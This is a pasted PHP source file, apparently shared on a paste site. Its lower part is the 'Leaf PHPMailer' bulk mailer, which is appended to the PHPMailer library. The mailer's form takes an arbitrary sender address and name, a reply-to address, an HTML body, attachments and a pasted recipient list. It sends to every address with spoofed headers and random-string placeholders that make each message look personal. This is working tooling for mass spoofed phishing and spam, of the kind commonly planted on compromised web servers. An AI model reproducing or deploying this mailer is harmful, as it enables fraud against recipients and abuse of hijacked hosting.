  3782. // END stabilize line endings
  3783. while (substr($body, strlen($body) - 4, 4) == "\r\n\r\n") {
  3784. $body = substr($body, 0, strlen($body) - 2);
  3785. }
  3786. return $body;
  3787. }
  3788.  
  3789. /**
  3790. * Create the DKIM header and body in a new message header.
  3791. * @access public
  3792. * @param string $headers_line Header lines
  3793. * @param string $subject Subject
  3794. * @param string $body Body
  3795. * @return string
  3796. */
  3797. public function DKIM_Add($headers_line, $subject, $body)
  3798. {
  3799. $DKIMsignatureType = 'rsa-sha1'; // Signature & hash algorithms
  3800. $DKIMcanonicalization = 'relaxed/simple'; // Canonicalization of header/body
  3801. $DKIMquery = 'dns/txt'; // Query method
  3802. $DKIMtime = time(); // Signature Timestamp = seconds since 00:00:00 - Jan 1, 1970 (UTC time zone)
  3803. $subject_header = "Subject: $subject";
  3804. $headers = explode($this->LE, $headers_line);
  3805. $from_header = '';
  3806. $to_header = '';
  3807. $current = '';
  3808. foreach ($headers as $header) {
  3809. if (strpos($header, 'From:') === 0) {
  3810. $from_header = $header;
  3811. $current = 'from_header';
  3812. } elseif (strpos($header, 'To:') === 0) {
  3813. $to_header = $header;
  3814. $current = 'to_header';
  3815. } else {
  3816. if (!empty($$current) && strpos($header, ' =?') === 0) {
  3817. $$current .= $header;
  3818. } else {
  3819. $current = '';
  3820. }
  3821. }
  3822. }
  3823. $from = str_replace('|', '=7C', $this->DKIM_QP($from_header));
  3824. $to = str_replace('|', '=7C', $this->DKIM_QP($to_header));
  3825. $subject = str_replace(
  3826. '|',
  3827. '=7C',
  3828. $this->DKIM_QP($subject_header)
  3829. ); // Copied header fields (dkim-quoted-printable)
  3830. $body = $this->DKIM_BodyC($body);
  3831. $DKIMlen = strlen($body); // Length of body
  3832. $DKIMb64 = base64_encode(pack('H*', sha1($body))); // Base64 of packed binary SHA-1 hash of body
  3833. if ('' == $this->DKIM_identity) {
  3834. $ident = '';
  3835. } else {
  3836. $ident = ' i=' . $this->DKIM_identity . ';';
  3837. }
  3838. $dkimhdrs = 'DKIM-Signature: v=1; a=' .
  3839. $DKIMsignatureType . '; q=' .
  3840. $DKIMquery . '; l=' .
  3841. $DKIMlen . '; s=' .
  3842. $this->DKIM_selector .
  3843. ";\r\n" .
  3844. "\tt=" . $DKIMtime . '; c=' . $DKIMcanonicalization . ";\r\n" .
  3845. "\th=From:To:Subject;\r\n" .
  3846. "\td=" . $this->DKIM_domain . ';' . $ident . "\r\n" .
  3847. "\tz=$from\r\n" .
  3848. "\t|$to\r\n" .
  3849. "\t|$subject;\r\n" .
  3850. "\tbh=" . $DKIMb64 . ";\r\n" .
  3851. "\tb=";
  3852. $toSign = $this->DKIM_HeaderC(
  3853. $from_header . "\r\n" .
  3854. $to_header . "\r\n" .
  3855. $subject_header . "\r\n" .
  3856. $dkimhdrs
  3857. );
  3858. $signed = $this->DKIM_Sign($toSign);
  3859. return $dkimhdrs . $signed . "\r\n";
  3860. }
  3861.  
  3862. /**
  3863. * Detect if a string contains a line longer than the maximum line length allowed.
  3864. * @param string $str
  3865. * @return boolean
  3866. * @static
  3867. */
  3868. public static function hasLineLongerThanMax($str)
  3869. {
  3870. //+2 to include CRLF line break for a 1000 total
  3871. return (boolean)preg_match('/^(.{'.(self::MAX_LINE_LENGTH + 2).',})/m', $str);
  3872. }
  3873.  
  3874. /**
  3875. * Allows for public read access to 'to' property.
  3876. * @note: Before the send() call, queued addresses (i.e. with IDN) are not yet included.
  3877. * @access public
  3878. * @return array
  3879. */
  3880. public function getToAddresses()
  3881. {
  3882. return $this->to;
  3883. }
  3884.  
  3885. /**
  3886. * Allows for public read access to 'cc' property.
  3887. * @note: Before the send() call, queued addresses (i.e. with IDN) are not yet included.
  3888. * @access public
  3889. * @return array
  3890. */
  3891. public function getCcAddresses()
  3892. {
  3893. return $this->cc;
  3894. }
  3895.  
  3896. /**
  3897. * Allows for public read access to 'bcc' property.
  3898. * @note: Before the send() call, queued addresses (i.e. with IDN) are not yet included.
  3899. * @access public
  3900. * @return array
  3901. */
  3902. public function getBccAddresses()
  3903. {
  3904. return $this->bcc;
  3905. }
  3906.  
  3907. /**
  3908. * Allows for public read access to 'ReplyTo' property.
  3909. * @note: Before the send() call, queued addresses (i.e. with IDN) are not yet included.
  3910. * @access public
  3911. * @return array
  3912. */
  3913. public function getReplyToAddresses()
  3914. {
  3915. return $this->ReplyTo;
  3916. }
  3917.  
  3918. /**
  3919. * Allows for public read access to 'all_recipients' property.
  3920. * @note: Before the send() call, queued addresses (i.e. with IDN) are not yet included.
  3921. * @access public
  3922. * @return array
  3923. */
  3924. public function getAllRecipientAddresses()
  3925. {
  3926. return $this->all_recipients;
  3927. }
  3928.  
  3929. /**
  3930. * Perform a callback.
  3931. * @param boolean $isSent
  3932. * @param array $to
  3933. * @param array $cc
  3934. * @param array $bcc
  3935. * @param string $subject
  3936. * @param string $body
  3937. * @param string $from
  3938. */
  3939. protected function doCallback($isSent, $to, $cc, $bcc, $subject, $body, $from)
  3940. {
  3941. if (!empty($this->action_function) && is_callable($this->action_function)) {
  3942. $params = array($isSent, $to, $cc, $bcc, $subject, $body, $from);
  3943. call_user_func_array($this->action_function, $params);
  3944. }
  3945. }
  3946. }
  3947.  
  3948. /**
  3949. * PHPMailer exception handler
  3950. * @package PHPMailer
  3951. */
  3952. class phpmailerException extends Exception
  3953. {
  3954. /**
  3955. * Prettify error message output
  3956. * @return string
  3957. */
  3958. public function errorMessage()
  3959. {
  3960. $errorMsg = '<strong>' . $this->getMessage() . "</strong><br />\n";
  3961. return $errorMsg;
  3962. }
  3963. }
  3964.  
  3965. print '
  3966. <head>
  3967. <title>Leaf PHPMailer</title>
  3968. <meta http-equiv="Content-Type" content="text/html; charset=utf-8"/>
  3969. <link href="https://maxcdn.bootstrapcdn.com/bootswatch/3.3.6/cosmo/bootstrap.min.css" rel="stylesheet" >
  3970. <script src="https://maxcdn.bootstrapcdn.com/bootstrap/3.3.6/js/bootstrap.min.js"></script>
  3971.  
  3972.  
  3973. </head>';
  3974.  
  3975. print '<body>';
  3976. print '<div class="container col-lg-6">
  3977. <h3><font color="green"><span class="glyphicon glyphicon-leaf"></span></font> Leaf PHPMailer <small>'.$leaf['version'].'</small></h3>
  3978. <form name="form" id="form" method="POST" enctype="multipart/form-data" action="">
  3979. <div class="row">
  3980. <div class="form-group col-lg-6 "><label for="senderEmail">Email</label><input type="text" class="form-control input-sm " id="senderEmail" name="senderEmail" value="'.$senderEmail.'"></div>
  3981. <div class="form-group col-lg-6 "><label for="senderName">Sender Name</label><input type="text" class="form-control input-sm " id="senderName" name="senderName" value="'.$senderName.'"></div>
  3982. </div>
  3983. <div class="row">
  3984. <span class="form-group col-lg-6 "><label for="attachment">Attachment <small>(Multiple Available)</small></label><input type="file" name="attachment[]" id="attachment[]" multiple/></span>
  3985.  
  3986. <div class="form-group col-lg-6"><label for="replyTo">Reply-to</label><input type="text" class="form-control input-sm " id="replyTo" name="replyTo" value="'.$replyTo.'" /></div>
  3987. </div>
  3988. <div class="row">
  3989. <div class="form-group col-lg-12 "><label for="subject">Subject</label><input type="text" class="form-control input-sm " id="subject" name="subject" value="'.$subject.'" /></div>
  3990. </div>
  3991. <div class="row">
  3992. <div class="form-group col-lg-6"><label for="messageLetter">Message Letter</label><textarea name="messageLetter" id="messageLetter" class="form-control" rows="10" id="textArea">'.$messageLetter.'</textarea></div>
  3993. <div class="form-group col-lg-6 "><label for="emailList">Email List</label><textarea name="emailList" id="emailList" class="form-control" rows="10" id="textArea">'.$emailList.'</textarea></div>
  3994. </div>
  3995. <div class="row">
  3996. <div class="form-group col-lg-6 ">
  3997. <label for="messageType">Message Type</label>
  3998. HTML <input type="radio" name="messageType" id="messageType" value="1" '.$html.'>
  3999. Plain<input type="radio" name="messageType" id="messageType" value="2" '.$plain.'>
  4000. </div>
  4001. <div class="form-group col-lg-3 ">
  4002. <label for="encode">Encode Type</label>
  4003. <select class="form-control input-sm" id="encode" name="encode">
  4004. <option value="UTF-8" selected>UTF-8 Encode</option>
  4005. <option value="UTF-8">ISO Encode</option>
  4006. </select>
  4007. </div>
  4008. </div>
  4009. <button type="submit" class="btn btn-default btn-sm" form="form" name="action" value="send">SEND</button>
  4010.  
  4011. </form>
  4012. </div>
  4013. <div class="col-lg-6"><br>
  4014. <label for="well">Instruction</label>
  4015. <div id="well" class="well well">
  4016. <h4>Server Information</h4>
  4017. <ul>
  4018. <li>ServerIP : <b>'.$_SERVER['SERVER_ADDR'].'</b></li>
  4019.  
  4020. </ul>
  4021. <h4>HELP</h4>
  4022. <ul>
  4023. <li>[-emailuser-] : <b>Email User</b> (emailuser@emaildomain)</li>
  4024. <li>[-randomstring-] : <b>Random string (0-9,a-z)</b></li>
  4025. <li>[-randomnumber-] : <b>Random number (0-9) </b></li>
  4026. <li>[-randomletters-] : <b>Random Letters(a-z) </b></li>
  4027. <li>[-randommd5-] : <b>Random MD5 </b></li>
  4028. </ul>
  4029. <h4>example</h4>
  4030. Reciver Email = <b>user@domain.com</b><br>
  4031. <ul>
  4032. <li>hello <b>[-emailuser-]</b> -> hello <b>user</b></li>
  4033. <li>your code is <b>[-randommd5-]</b> -> your code is <b>e10adc3949ba59abbe56e057f20f883e</b></li>
  4034. </ul>
  4035.  
  4036.  
  4037. </div>
  4038. </div>';
  4039.  
  4040. if($_POST['action']=="send"){
  4041. print ' <div class="col-lg-12">';
  4042. $maillist=explode("\r\n", $emailList);
  4043. $n=count($maillist);
  4044. $x =1;
  4045. foreach ($maillist as $email ) {
  4046. print '<div class="col-lg-1">['.$x.'/'.$n.']</div><div class="col-lg-5">'.$email.'</div>';
  4047. if(!leafMailCheck($email)) {
  4048. print '<div class="col-lg-6"><span class="label label-default">Incorrect Email</span></div>';
  4049. }
  4050. else {
  4051. $mail = new PHPMailer;
  4052. $mail->setFrom(leafClear($senderEmail,$email),leafClear($senderName,$email));
  4053. $mail->addReplyTo(leafClear($replyTo,$email));
  4054. $mail->addAddress($email);
  4055. $mail->Subject = leafClear($subject,$email);
  4056. $mail->Body = leafClear($messageLetter,$email);
  4057. $mail->CharSet = $encode;
  4058. for($i=0; $i<count($_FILES['attachment']['name']); $i++) {
  4059. if ($_FILES['attachment']['tmp_name'][$i] != ""){
  4060. $mail->AddAttachment($_FILES['attachment']['tmp_name'][$i],$_FILES['attachment']['name'][$i]);
  4061. }
  4062.  
  4063. }
  4064. if($messageType==1){$mail->IsHTML(true);}
  4065. else {$mail->IsHTML(false);}
  4066. if (!$mail->send()) {
  4067. echo '<div class="col-lg-6"><span class="label label-default">'.$mail->ErrorInfo.'</span></div>';
  4068. }
  4069. else {
  4070. echo '<div class="col-lg-6"><span class="label label-success">Ok</span></div>';
  4071. }
  4072. print '<br>';
  4073. }
  4074. $x++;
  4075. for($k = 0; $k < 40000; $k++) {echo ' ';}
  4076. }
  4077.  
  4078. }
  4079. print '</body>';
  4080. ?>
Add Comment
Please, Sign In to add comment